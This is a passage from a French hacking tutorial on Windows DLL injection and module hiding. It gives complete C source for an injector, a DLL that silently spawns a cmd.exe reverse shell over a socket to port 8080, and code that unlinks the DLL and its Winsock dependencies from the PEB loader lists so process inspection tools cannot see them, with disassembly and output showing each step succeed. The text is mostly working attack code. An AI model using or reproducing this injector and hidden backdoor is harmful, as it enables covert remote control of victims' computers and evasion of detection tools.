    LPTHREAD_START_ROUTINE
    Injector=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll",\
    "LoadLibrary");

    On defini ici le début de notre Thread sur LoadLibrary.

    DWORD ThreadID;
    HANDLE hThread=CreateRemoteThread(hProc, NULL, 0, Injector , Arg, 0,&ThreadID);

    En fait injector est un pointeur sur le code que nous voulons effectuer.
    Arg est donc l'adresse de la string dans la mémoire du process a injecté que
    l'on a précédemment écrit avec WriteProcessMemory().

    Allay voila le code:

    #define WIN32_LEAN_AND_MEAN
    #include <windows.h>
    #include <stdio.h>
    #include <string.h>
    #include <tlhelp32.h>

    int NameToPid(char *ProcessName);

    int main (int argc,char *argv[])
    {
        if (argc !=3){
        printf("Usage is :inject <process> <dll path>\n");
        return 0;
        }

        printf("[*]Ownage du processus: %s\n",argv[1]);

        HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, NameToPid(argv[1]));

        if(hProc==NULL)
        {
        printf("Error with OpenProcess: %d\n",GetLastError());
        return -1;
        }

        printf("[*]Handle: 0x%x\n",hProc);

        int cbCodeSize =  strlen(argv[2]) + 1;
        printf("[*]CodeSize: %d\n",cbCodeSize);

        LPVOID Arg = VirtualAllocEx(hProc, NULL, cbCodeSize,\
    MEM_COMMIT,PAGE_EXECUTE_READWRITE);

        if (Arg==NULL)
        {
        printf("Error with VirtualAllocEx: %d\n",GetLastError());
        return -1;
        }
        printf("[*]Emplacement memoire: 0x%x\n",Arg);

        if (WriteProcessMemory(hProc, Arg, argv[2], cbCodeSize, 0) == FALSE)
        {
        printf("Error with WriteProcessMemory: %d\n",GetLastError());
        return -1;
        }

        LPTHREAD_START_ROUTINE
    Injector=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll")\
    ,"LoadLibraryA");

        DWORD ThreadID;
        HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, Injector , Arg, 0,\
    &ThreadID);

        if (hThread==NULL)
        {
        printf("Error with CreateRemoteThread: %d\n",GetLastError());
        return -1;
        }

        if (WaitForSingleObject(hThread, INFINITE)==WAIT_FAILED)
        {
        printf("Error with WaitForSingleObject: %d\n",GetLastError());
        return -1;
        }

        if(VirtualFreeEx(hProc, Arg, 0, MEM_DECOMMIT)==FALSE)
        {
        printf("Error with VirtualFreeEx: %d\n",GetLastError());
        return -1;
        }

        if(CloseHandle(hThread)==FALSE)
        {
        printf("Error with CloseHandle: %d\n",GetLastError());
        return -1;
        }

        printf("[*]Target injected\n");
    return 0;

    }

    int NameToPid(char *ProcessName)
    {
        HANDLE hProcessSnap;
        PROCESSENTRY32 pe32;

        hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
        if(hProcessSnap == INVALID_HANDLE_VALUE)
        {
            printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError() );
        }

        pe32.dwSize = sizeof(PROCESSENTRY32);

        if( !Process32First( hProcessSnap, &pe32 ) )
        {
            printf("Error with Process32First: %d\n",GetLastError());
            CloseHandle(hProcessSnap);
        }

        while(Process32Next(hProcessSnap,&pe32)!=0)
        {
             if(_stricmp(pe32.szExeFile,ProcessName)==0)
             {
                 CloseHandle(hProcessSnap);
                 return pe32.th32ProcessID;
            }
        }

        CloseHandle(hProcessSnap);
        return 0;
    }

    c:\>inject_dll notepad.exe c:\dll_injected.dll
    [*]Ownage du processus: notepad.exe
    [*]Handle: 0x3d4
    [*]CodeSize: 20
    [*]Emplacement memoire: 0x720000
    [*]Target injected

    Ha vi truc bête que j'ai laissé par flemmardise, le codesize est en fait la
    taille de la string du path de la dll, pareil l'emplacement mémoire correspond
    a l'endroit ou est balancé la string en mem :)

    Cette méthode revient a faire chargé dynamiquement une DLL par un process,
    alors maintenant intéressons-nous a cette DLL.

    --------[2.Fuck me i'm a DLL

    Voici le main d'une DLL:
    BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOIDlpReserved);

    hInstance étant le Handle de notre DLL (l'endroit ou elle est en mémoire),
    dwReason elle la cause de l'appel de la fct main et l'autre est la pour
    décorer. Nous on s'intéresse uniquement aux causes de l'appel de la fct main()

    winNT.h
    #define DLL_PROCESS_ATTACH   1
    #define DLL_THREAD_ATTACH    2
    #define DLL_THREAD_DETACH    3
    #define DLL_PROCESS_DETACH   0

    On veut que notre code soit exécuté lorsque que la DLL est chargée
    dans le process on met alors:

    if(dwReason!=DLL_PROCESS_ATTACH)
        return TRUE;

    Le TRUE est important, car FALSE indique que le chargement a foiré. Voici sans
    attendre le code d'une DLL qui va lancer un reverse shell sur l'ip 127.0.1 et
    sur le port 8080:

    #include <winsock2.h>

    BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID
    lpReserved)
    {

    // On ne traite pas les raisons autres que l'initialisation de la DLL
    if(dwReason!=DLL_PROCESS_ATTACH)
        return TRUE;

    WSADATA wd;
    SOCKET sock;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    struct sockaddr_in sin;
    int size = sizeof(sin);

    memset(&sin, 0, sizeof(sin));
    memset(&si, 0, sizeof(si));

    WSAStartup(MAKEWORD(2,0), &wd);
    sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(8080);
    sin.sin_addr.s_addr = inet_addr("127.0.0.1");
    bind(sock, (struct sockaddr *)&sin, size);
    connect(sock, (struct sockaddr *)&sin, size);

    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
    CreateProcess(
            NULL,
            "cmd.exe",
            NULL,
            NULL,
            true,
            IDLE_PRIORITY_CLASS|CREATE_NO_WINDOW,
            NULL,
            NULL,
            &si,
            &pi
    );
    return 0;
    }

    Ha p-e qu'une explication serait bienvenue pour ces deux lignes:

    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;

    'si' est une structure de type STARTUPINFO:

    typedef struct _STARTUPINFO {
    DWORD cb;
    LPTSTR lpReserved;
    LPTSTR lpDesktop;
    LPTSTR lpTitle;
    DWORD dwX;
    DWORD dwY;
    DWORD dwXSize;
    DWORD dwYSize;
    DWORD
    dwXCountChars;
    DWORD dwYCountChars;
    DWORD dwFillAttribute;
    DWORD dwFlags;
    WORD wShowWindow;
    WORD cbReserved2;
    LPBYTE lpReserved2;
    HANDLE hStdInput;
    HANDLE hStdOutput;
    HANDLE hStdError;
    } STARTUPINFO, *LPSTARTUPINFO;

    En fait en faisant

    si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;

    On dit que l'entrée/sortie du processus crée sera redirigée vers le socket et
    donc qu'on pourra dialoguer avec le process à travers le socket. De plus, il faut
    utiliser WSASocket() à la place de socket() car avec ce dernier le socket aura
    l'attribut overlapped (asynchrone), petite explication :] Imaginez que vous
    ayez besoin d'écrire un file sur le disque et que cette opération est déjà
    réalisée par un autre process, hum soit vous attendez comme un con que l'autre
    finisse et donc vous perdez du tps et de la fluidité, soit vous mettez vos
    fonctions d'I/O en overlapped et la le code continuera d'être exécuter même si
    le fichier n'a pas été écrit tandis que ce qui doit être écrit le sera lorsque
    la ressource sera libre. Dans notre cas il vaut mieux éviter d'utiliser cet
    attribut et de rester synchrone avec l'I/O du process pipé.

    NB: de toute facon ca marche pas autrement :}

    --------[3.Les Experts en UserLand

    Hum et now ? On a injecté une DLL dans un process et un jour on lance un tool
    comme PEID ou LORDPE et on voit que le process a des DLL bizarres avec lui,
    genre le notepad qui tourne avec ws2_32.dll ....

    Après désassemblage de ces exécutables on voit qu'ils utilisent les fonctions de
    la DLL psapi.dll et plus précisément la fonction EnumProcessModules() la voici:

    BOOL EnumProcessModules(
      HANDLE hProcess,
      HMODULE* lphModule,
      DWORD cb,
      LPDWORD lpcbNeeded
    );

    hProcess est un handle sur le process obtenu avec l'api OpenProcess()
    lphModule est un tableau de DWORD qui va contenir les handles pour chaque
    module.
    cb est la taille du tableau en bytes.
    lpcbNeeded contient le nombre de bytes nécessaire pour contenir tout les
    handles, comme le tableau est alloué avant l'appel de la fonction et qu'on ne
    connait pas le nombre de modules du process si jamais celui est plus grand que
    la taille de notre tableau il faudra l'agrandir :) donc autant voir grand dès le
    départ et mettre un tableau de 128 DWORD. (ouais je sais j'aurais pu l'allouer
    dynamiquement, mais j'avais la flemme....)

    Allay tout de suite le code qui fait tout ca:

    #include <windows.h>
    #include <tlhelp32.h>
    #include <psapi.h>
    #include <stdio.h>

    #pragma comment(lib,"Psapi.lib");

    int NameToPid(char *ProcessName)
    {
        HANDLE hProcessSnap;
        PROCESSENTRY32 pe32;

        hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
        if(hProcessSnap == INVALID_HANDLE_VALUE)
        {
            printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError() );
        }

        pe32.dwSize = sizeof(PROCESSENTRY32);

        if( !Process32First( hProcessSnap, &pe32 ) )
        {
            printf("Error with Process32First: %d\n",GetLastError());
            CloseHandle(hProcessSnap);
        }

        while(Process32Next(hProcessSnap,&pe32)!=0)
        {
             if(_stricmp(pe32.szExeFile,ProcessName)==0)
             {
                 CloseHandle(hProcessSnap);
                 return pe32.th32ProcessID;
            }
        }

        CloseHandle(hProcessSnap);
        return 0;
    }

    int main(int argc, char *argv[])
    {
        HANDLE hProcess;
        HMODULE hModule[128];
        ULONG BytesNeeded;
        char ModuleName[MAX_PATH];
        MODULEINFO ModuleInfo;

        if(argc!=2)
        {
            printf("Usage is: psapi <Process name>\n");
            return 0;
        }

        hProcess=OpenProcess(PROCESS_ALL_ACCESS,false,NameToPid(argv[1]));
        if(hProcess==NULL)
            return 0;

        if(EnumProcessModules(hProcess,hModule,sizeof(hModule),&BytesNeeded)==0)
        {
            CloseHandle(hProcess);
            return 0;
        }

        printf("Number of modules: %d\n",BytesNeeded/sizeof(ULONG));

        for(int i=0;i < BytesNeeded/sizeof(ULONG);i++)
        {
            GetModuleBaseName(hProcess,hModule[i],ModuleName,sizeof(ModuleName));
            printf("Module Name: %s\n",ModuleName);
        }
        return 0;

    }

    Voici ce que ça donne avec le notepad:

    C:\ProgHack\c>psapi notepad.exe
    Number of modules: 14
    Module Name: notepad.exe
    Module Name: ntdll.dll
    Module Name: comdlg32.dll
    Module Name: SHLWAPI.DLL
    Module Name: ADVAPI32.dll
    Module Name: KERNEL32.dll
    Module Name: RPCRT4.dll
    Module Name: GDI32.dll
    Module Name: USER32.dll
    Module Name: msvcrt.dll
    Module Name: COMCTL32.DLL
    Module Name: SHELL32.DLL
    Module Name: WINSPOOL.DRV
    Module Name: MPR.DLL

    Et voici toujours le notepad mais avec notre DLL injectée:

    C:\ProgHack\c>psapi notepad.exe
    Number of modules: 19
    Module Name: notepad.exe
    Module Name: ntdll.dll
    Module Name: comdlg32.dll
    Module Name: SHLWAPI.DLL
    Module Name: ADVAPI32.dll
    Module Name: KERNEL32.dll
    Module Name: RPCRT4.dll
    Module Name: GDI32.dll
    Module Name: USER32.dll
    Module Name: msvcrt.dll
    Module Name: COMCTL32.DLL
    Module Name: SHELL32.DLL
    Module Name: WINSPOOL.DRV
    Module Name: MPR.DLL
    Module Name: dll_injected.dll
    Module Name: WS2_32.dll
    Module Name: WS2HELP.DLL
    Module Name: msafd.dll
    Module Name: wshtcpip.dll

    Whaou, 5 modules en plus c'est pas super discret tout ca, surtout quand on voit
    que le notepad commence a utiliser la DLL ws2_32.dll on est droit de se poser
    des questions :]

    --------[4.\x55\x8B\xEC

    Bon, alors maintenant on s'arrête 2 sec et on, du moins faisons semblant, essaye
    de réfléchir. Il est clair que le processus qui va voir à quoi ressemblent les
    DLL dans un autre process n'a pas fait cela en ring 3 car je le rappel chaque
    process a SON PROPRE ET UNIQUE espace mémoire et ne peut accéder a celui de ses
    voisins. Il y a donc forcément de l'api native là-dessous qui permet le passage
    du UserLand au KernelLand, voici ce qu'on obtient en désassemblant une partie de
    la fonction EnumProcessModules de la DLL psapi.dll:

    68EA19AE   .  53            ; /pReqsize => NULL
    68EA19AF   .  6A 18         ; |Bufsize = 18 (24.)
    68EA19B1   .  8D45 C0       ; |
    68EA19B4   .  50            ; |Buffer
    68EA19B5   .  53            ; |InfoClass => 0
    68EA19B6   .  FF75 08       ; |hProcess
    68EA19B9   .  FF15 3810EA68 ; \ZwQueryInformationProcess
    68EA19BF   .  3BC3
    68EA19C1   .  7D 15
    68EA19C3   .  50            ; /Arg1
    68EA19C4   .  FF15 4410EA68 ; \RtlNtStatusToDosError
    68EA19CA   .  50            ; /Error
    68EA19CB   .  FF15 A010EA68 ; \SetLastError
    68EA19D1   >  33C0
    68EA19D3   .  E9 C2000000
    68EA19D8   >  53            ; /pBytesRead
    68EA19D9   .  6A 04         ; |BytesToRead = 4
    68EA19DB   .  8D45 B8       ; |
    68EA19DE   .  50            ; |Buffer
    68EA19DF   .  8B45 C4       ; |
    68EA19E2   .  83C0 0C       ; |
    68EA19E5   .  50            ; |pBaseAddress
    68EA19E6   .  FF75 08       ; |hProcess
    68EA19E9   .  8B3D AC10EA68 ; |KERNEL32.ReadProcessMemory
    68EA19EF   .  FFD7          ; \ReadProcessMemory
    68EA19F1   .  85C0
    68EA19F3   .^ 74 DC
    68EA19F5   .  8B45 B8
    68EA19F8   .  83C0 14
    68EA19FB   .  8945 B4
    68EA19FE   .  53            ; /pBytesRead
    68EA19FF   .  6A 04         ; |BytesToRead = 4
    68EA1A01   .  8D4D DC       ; |
    68EA1A04   .  51            ; |Buffer
    68EA1A05   .  50            ; |pBaseAddress
    68EA1A06   .  FF75 08       ; |hProcess
    68EA1A09   .  FFD7          ; \ReadProcessMemory
    68EA1A0B   .  85C0

    En traçant cette fonction on s'aperçoit que la fonction native
    NtQueryInformationProcess() réalise le passage en ring0 et sert a obtenir l'addr
    du PEB dans le process distant.

    kd> dt !_PEB
       +0x000 InheritedAddressSpace : UChar
       +0x001 ReadImageFileExecOptions : UChar
       +0x002 BeingDebugged    : UChar
       +0x003 SpareBool        : UChar
       +0x004 Mutant           : Ptr32 Void
       +0x008 ImageBaseAddress : Ptr32 Void
       +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
       [...]

    puis on se déplace de 0xC dans la structure avec ce code:

    68EA19DF   .  8B45 C4       MOV EAX,DWORD PTR SS:[EBP-3C]    ; |PEB
    68EA19E2   .  83C0 0C       ADD EAX,0C                      ; |PEB+0xC
    68EA19E5   .  50            PUSH EAX                          ; |pBaseAddress

    Après le ReadProcessMemory() nous permet d'obtenir un pointeur sur une structure
    _PEB_LDR_DATA (tout cela on le recup dans un autre process n'oubliez pas)

    kd> dt !_PEB_LDR_DATA
       +0x000 Length           : Uint4B
       +0x004 Initialized      : UChar
       +0x008 SsHandle         : Ptr32 Void
       +0x00c InLoadOrderModuleList : _LIST_ENTRY
       +0x014 InMemoryOrderModuleList : _LIST_ENTRY
       +0x01c InInitializationOrderModuleList : _LIST_ENTRY

    Puis on se déplace de 0x14 dans celle ci avec ce chtit code:

    68EA19F5   .  8B45 B8       MOV EAX,DWORD PTR SS:[EBP-48] ; |_PEB_LDR_DATA
    68EA19F8   .  83C0 14       ADD EAX,14

    On a donc un pointeur sur une double liste chaînée (LIST_ENTRY) et plus
    précisément sur le membre suivant de cette liste (Flink).
    InMemoryOrderModuleList, contient des structures de type LDR_DATA_TABLE_ENTRY
    que voici:

    kd> dt nt!_LDR_DATA_TABLE_ENTRY
       +0x000 InLoadOrderLinks : _LIST_ENTRY
       +0x008 InMemoryOrderLinks : _LIST_ENTRY
       +0x010 InInitializationOrderLinks : _LIST_ENTRY
       +0x018 DllBase          : Ptr32 Void
       +0x01c EntryPoint       : Ptr32 Void
       +0x020 SizeOfImage      : Uint4B
       +0x024 FullDllName      : _UNICODE_STRING
       +0x02c BaseDllName      : _UNICODE_STRING
       +0x034 Flags            : Uint4B
       +0x038 LoadCount        : Uint2B
       +0x03a TlsIndex         : Uint2B
       +0x03c HashLinks        : _LIST_ENTRY
       +0x03c SectionPointer   : Ptr32 Void
       +0x040 CheckSum         : Uint4B
       +0x044 TimeDateStamp    : Uint4B
       +0x044 LoadedImports    : Ptr32 Void

    Donc le programme va parcourir cette liste chainée pour y trouver les
    informations en mémoire à propos des modules.

    --------[5.La disparition des modules en UserLand

    Voila qui devient intéressant et c'est (en partie) pour vous montrez cela que
    j'ai écrit cet article, il suffit donc de modifier cette double liste afin que
    notre module passer inaperçu, ho yeah, soirée mousse !!!!

    Notre DLL va donc se composer d'un nouveau morceau de code qui permettra de la
    rentre "furtive" et tout cas a tout les programmes qui utilisent
    EnumProcessModules, déja PEID et LordPe (ce n'est qu'un début).

            +----------+        +----------+       +----------+
            | Module 1 |        | Module 2 |       | Module 3 |
            | Flink    |<-+---->| Flink    |<-+--->| Flink    |---->
        <---| Blink    |  |-----| Blink    |  |----| Blink    |
            +----------+        +----------+       +----------+

    (le Blink ne pointe pas sur le précédent Blink mais bien sur le précédent Flink)

    Voici ce que l'on veut obtenir:

                             +------------------+
                             |                    |
            +----------+     |  +----------+    |  +----------+
            | Module 1 |     |  | Module 2 |    |  | Module 3 |
            | Flink    |<-+--+  | Flink    |<---+->| Flink    |---->
        <---| Blink    |  |-----| Blink    |   +---| Blink    |
            +----------+  |     +----------+   |   +----------+
                          |                    |
                          +--------------------+

    (Vous trouvez ces schémas pourris? Envoyer un mail à Ivanlef0u119@yahoo.fr pour
    tout reproches, insultes, whines)

    Allay tout de suite le code qui réalise cela:

    int DLLHiding(LPSTR ModuleToHide)
    {
        PPEB_LDR_DATA PLDR_DATA;

        _asm{
            mov eax,fs:[30h]        //Sur le PEB
            mov eax,[eax+0Ch]        //PEB->LoaderData
            mov PLDR_DATA,eax
            }

        char ModuleName[MAX_PATH]="";

        PLDR_MODULE PModule;
        PModule=(PLDR_MODULE)PLDR_DATA->InMemoryOrderModuleList.Flink;
        PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);

        do{

            PModule=(PLDR_MODULE)PModule->InMemoryOrderModuleList.Flink;
            PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);
            SecureZeroMemory(ModuleName,MAX_PATH);

            WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1,ModuleName\
            , MAX_PATH-1, NULL, NULL);
        }while(!strstr(ModuleName,ModuleToHide));

        //Now on cache notre module

        PModule->InMemoryOrderModuleList.Blink->Flink=PModule->InMemoryOrderModuleLi
    st.Flink;
        PModule->InMemoryOrderModuleList.Flink->Blink=PModule->InMemoryOrderModuleLi
    st.Blink;

     return 1;
     }

    Ce code n'est pas trop compliqué dans ce qu'il fait (ou pas)

    Il va sur PEB du process puis dans la structure LoaderData et parcourt avec la
    boucle do{}while(); la liste InMemoryOrderModuleList. Il récupère le nom du
    module et le compare avec le nôtre, si c'est bon on arrête et on cache notre
    module avec ces lignes étranges et venues d'ailleurs:

    PModule->InMemoryOrderModuleList.Blink->Flink=PModule-
    >InMemoryOrderModuleList.Flink;

    Cela signifie que l'on définit le Flink de la structure précédente à la valeur
    du Flink actuel c'est-à-dire sur la structure suivante (gruuut ?).

    PModule->InMemoryOrderModuleList.Flink->Blink=PModule-
    >InMemoryOrderModuleList.Blink;

    Pareil on définit le Blink de la structure suivante à la valeur de notre Blink,
    donc sur l'entrée précédente.

    Ha aussi le rôle de cette ligne
    PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);
    En fait comme un membre de la liste pointe tjrs sur un autre membre on arrive
    non pas a début de la structure, mais sur la struct InMemoryOrderModuleList donc
    pour pointer sur le début de la struct LDR_MODULE on soustrait 8 au pointeur
    courant.

    kd> dt nt!_LDR_DATA_TABLE_ENTRY
       +0x000 InLoadOrderLinks : _LIST_ENTRY
       +0x008 InMemoryOrderLinks : _LIST_ENTRY //<- on arrive ici
       +0x010 InInitializationOrderLinks : _LIST_ENTRY
       [...]

    Et maintenant le grand moment on teste tout cela, voici les results avec tjrs
    notre ami le notepad:

    C:\ProgHack\c>psapi notepad.exe
    Number of modules: 18
    Module Name: notepad.exe
    Module Name: ntdll.dll
    Module Name: comdlg32.dll
    Module Name: SHLWAPI.DLL
    Module Name: ADVAPI32.dll
    Module Name: KERNEL32.dll
    Module Name: RPCRT4.dll
    Module Name: GDI32.dll
    Module Name: USER32.dll
    Module Name: msvcrt.dll
    Module Name: COMCTL32.DLL
    Module Name: SHELL32.DLL
    Module Name: WINSPOOL.DRV
    Module Name: MPR.DLL
    Module Name: WS2_32.dll
    Module Name: WS2HELP.DLL
    Module Name: msafd.dll
    Module Name: wshtcpip.dll

    Heyhey! 18 modules on a réussi à cacher notre DLL :]
    Pour le reste, il suffit de procéder de la même façon a appelant la fct avec un
    comme argument un nom de module a caché et c'est tout bon :}

    -------[6.Bonus Track

    Hum pourquoi un bonus track ? Parce que j'aime aller au fond de choses (ho
    yeah) et que je vous est menti en disant la DLL était complètement invisible, il
    existe encore une Api qui permet de voir cette foutue DLL, c'est en utilisant
    CreateToolHelp32Snapshot() avec l'option TH32CS_SNAPMODULE que j'ai remarqué
    cela, voici le bout de code qui ma enculée....

    #include <windows.h>
    #include <tlhelp32.h>
    #include <stdio.h>

    int NameToPid(char *ProcessName)
    {
        HANDLE hProcessSnap;
        PROCESSENTRY32 pe32;

        hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
        if(hProcessSnap==INVALID_HANDLE_VALUE)
        {
            printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError());
        }

        pe32.dwSize=sizeof(PROCESSENTRY32);

        if(!Process32First(hProcessSnap,&pe32))
        {
            printf("Error with Process32First: %d\n",GetLastError());
            CloseHandle(hProcessSnap);
        }

        while(Process32Next(hProcessSnap,&pe32)!=0)
        {
             if(_stricmp(pe32.szExeFile,ProcessName)==0)
             {
                 CloseHandle(hProcessSnap);
                 return pe32.th32ProcessID;
            }
        }

        CloseHandle(hProcessSnap);
        return 0;
    }

    int main(int argc,char *argv[])
    {

        if (argc!=2)
        {
            printf("Usage is: createtoolhelp32snapshot <Process name>");
            return 0;
        }

        HANDLE hModuleSnap=NULL;
        MODULEENTRY32 me32={0};

        hModuleSnap=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, NameToPid(argv[1]));
        if (hModuleSnap==INVALID_HANDLE_VALUE)
            return (FALSE);

        me32.dwSize = sizeof(MODULEENTRY32);
        if(Module32First(hModuleSnap,&me32))
            do{
                printf("Module: %s\n",me32.szModule);
            }while(Module32Next(hModuleSnap,&me32));

        CloseHandle (hModuleSnap);
    }

    Voici ce que ça ressort:

    C:\ProgHack\c>createtoolhelp32snapshot notepad.exe
    Module Name: notepad.exe
    Module Name: ntdll.dll
    Module Name: comdlg32.dll
    Module Name: SHLWAPI.DLL
    Module Name: ADVAPI32.dll
    Module Name: KERNEL32.dll
    Module Name: RPCRT4.dll
    Module Name: GDI32.dll
    Module Name: USER32.dll
    Module Name: msvcrt.dll
    Module Name: COMCTL32.DLL
    Module Name: SHELL32.DLL
    Module Name: WINSPOOL.DRV
    Module Name: MPR.DLL
    Module Name: dll_injected.dll
    Module Name: WS2_32.dll
    Module Name: WS2HELP.DLL
    Module Name: msafd.dll
    Module Name: wshtcpip.dll

    Argh notre dll apparait quand meme !!!
    C'est reparti pour reverser l'API CreateToolHelp32SnapShot(), alors après avoir
    tracé dans tout les sens je suis arriver dans ntdll, plus précisément dans
    LdrQueryProcessModuleInformation (si c'est pas parlant ça...) et je vois cette
    ligne :
    7846DE3F  |> \8B47 0C       MOV EAX,DWORD PTR DS:[EDI+C]
    avec EDI qui pointe sur une structure _PEB_LDR_DATA, haha le voilà notre prob,
    souvenez vous précédemment nous modifions la la double liste
    InMemoryOrderModuleList qui est 0x14 dans _PEB_LDR_DATA et ici le code utilise
    la liste InLoadOrderModuleList que nous ne modifions pas donc la DLL est
    toujours "visible". Il ne reste plus qu'a c/c notre code précédent en
    modifiant 2,3 trucs et c'est tout bon, allée le code entier de la DLL qui met en
    oeuvre tout ça avec en comment le code pour la dernière liste
    (InInitializationOrderLinks):

    #include <winsock2.h>
    #include <Ntsecapi.h>

    #include <shlwapi.h>
    #pragma comment (lib,"shlwapi.lib")

    #define DLLName "dll_injected.dll"

    typedef struct _PEB_LDR_DATA
    {
      ULONG                   Length;
      BOOLEAN                 Initialized;
      PVOID                   SsHandle;
      LIST_ENTRY              InLoadOrderModuleList;
      LIST_ENTRY              InMemoryOrderModuleList;
      LIST_ENTRY              InInitializationOrderModuleList;
    } PEB_LDR_DATA, *PPEB_LDR_DATA;

    typedef struct _LDR_MODULE {

      LIST_ENTRY              InLoadOrderModuleList;
      LIST_ENTRY              InMemoryOrderModuleList;
      LIST_ENTRY              InInitializationOrderModuleList;
      PVOID                   BaseAddress;
      PVOID                   EntryPoint;
      ULONG                   SizeOfImage;
      UNICODE_STRING          FullDllName;
      UNICODE_STRING          BaseDllName;
      ULONG                   Flags;
      SHORT                   LoadCount;
      SHORT                   TlsIndex;
      LIST_ENTRY              HashTableEntry;
      ULONG                   TimeDateStamp;

    } LDR_MODULE, *PLDR_MODULE;

    int DLLHiding(LPSTR ModuleToHide)
    {

        PPEB_LDR_DATA PLDR_DATA;

        _asm{
            mov eax,fs:[30h]        //Sur le PEB
            mov eax,[eax+0Ch]        //PEB->LoaderData
            mov PLDR_DATA,eax
            }

        char ModuleName[MAX_PATH]="";
        PLDR_MODULE PModule;

        /*
        PModule=(PLDR_MODULE)PLDR_DATA->InInitializationOrderModuleList.Flink;
        PModule=(PLDR_MODULE)((PBYTE)PModule-0x10);

        do
        {
            PModule=(PLDR_MODULE)PModule->InInitializationOrderModuleList.Flink;

            PModule=(PLDR_MODULE)((PBYTE)PModule-0x10);
            memset(ModuleName,0,sizeof(ModuleName));

            WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\
            ,ModuleName,MAX_PATH-1, NULL, NULL);
        }while(!StrStrI(ModuleName,ModuleToHide));

        //Now on cache notre module

        PModule->InInitializationOrderModuleList.Blink->Flink=PModule
        ->InInitializationOrderModuleList.Flink;
        PModule->InInitializationOrderModuleList.Flink->Blink=PModule
        ->InInitializationOrderModuleList.Blink;

        memset(ModuleName,0,sizeof(ModuleName));
        */

        /*******************************/

        memset(ModuleName,0,sizeof(ModuleName));
        PModule=(PLDR_MODULE)PLDR_DATA->InMemoryOrderModuleList.Flink;
        PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);

        do{

            PModule=(PLDR_MODULE)PModule->InMemoryOrderModuleList.Flink;

            PModule=(PLDR_MODULE)((PBYTE)PModule-0x8);
            SecureZeroMemory(ModuleName,MAX_PATH);

            WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\
            ,ModuleName,MAX_PATH-1, NULL, NULL);
        }while(!StrStrI(ModuleName,ModuleToHide));

        //Now on cache notre module

        PModule->InMemoryOrderModuleList.Blink->Flink=PModule
    ->InMemoryOrderModuleList.Flink;
        PModule->InMemoryOrderModuleList.Flink->Blink=PModule
    ->InMemoryOrderModuleList.Blink;

        memset(ModuleName,0,sizeof(ModuleName));

        /*******************************/

        PModule=(PLDR_MODULE)PLDR_DATA->InLoadOrderModuleList.Flink;
        PModule=(PLDR_MODULE)((PBYTE)PModule-0x0);

        do{

            PModule=(PLDR_MODULE)PModule->InLoadOrderModuleList.Flink;

            PModule=(PLDR_MODULE)((PBYTE)PModule-0x0);
            memset(ModuleName,0,sizeof(ModuleName));

            WideCharToMultiByte(CP_ACP, 0,PModule->FullDllName.Buffer,-1\
            ModuleName ,MAX_PATH-1, NULL, NULL);
        }while(!StrStrI(ModuleName,ModuleToHide));

        //Now on cache notre module

        PModule->InLoadOrderModuleList.Blink->Flink=PModule
    ->InLoadOrderModuleList.Flink;
        PModule->InLoadOrderModuleList.Flink->Blink=PModule
        ->InLoadOrderModuleList.Blink;

    return true;
    }

    BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
    {

    // On ne traite pas les raisons autres que l'initialisation de la DLL
    if(dwReason!=DLL_PROCESS_ATTACH)
        return TRUE;

    WSADATA wd;
    SOCKET sock;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    struct sockaddr_in sin;
    int size = sizeof(sin);

    memset(&sin, 0, sizeof(sin));
    memset(&si, 0, sizeof(si));

    WSAStartup(MAKEWORD(2,0), &wd);
    sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(8080);
    sin.sin_addr.s_addr = inet_addr("127.0.0.1");
    bind(sock, (struct sockaddr *)&sin, size);

    connect(sock, (struct sockaddr *)&sin, size);

    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
    CreateProcess(
            NULL,
            "cmd.exe",
            NULL,
            NULL,
            true,
            IDLE_PRIORITY_CLASS|CREATE_NO_WINDOW,
            NULL,
            NULL,
            &si,
            &pi
    );

    //osef de la casse avec les StrStrI
    DLLHiding(DLLName);
    DLLHiding("ws2_32.dll");
    DLLHiding("msafd.dll");
    DLLHiding("wshtcpip.dll");
    DLLHiding("ws2help.dll");

    return true;
    }

    Ouf ! quelle soirée je crois qu'après toutes ces émotions je vais aller me
    coucher moi :).

    Évidemment, j'aurais pu vous balancer dans la gueule comme ça le code qui
    planquait la DLL directement dans les trois listes chainées, mais je trouve que
    de voir le raisonnement qui m'a fait aboutir à ce code est plus instructif. En
    fait la seule fois ou j'ai vu cette méthode implémentée c'était dans Phrack (p62
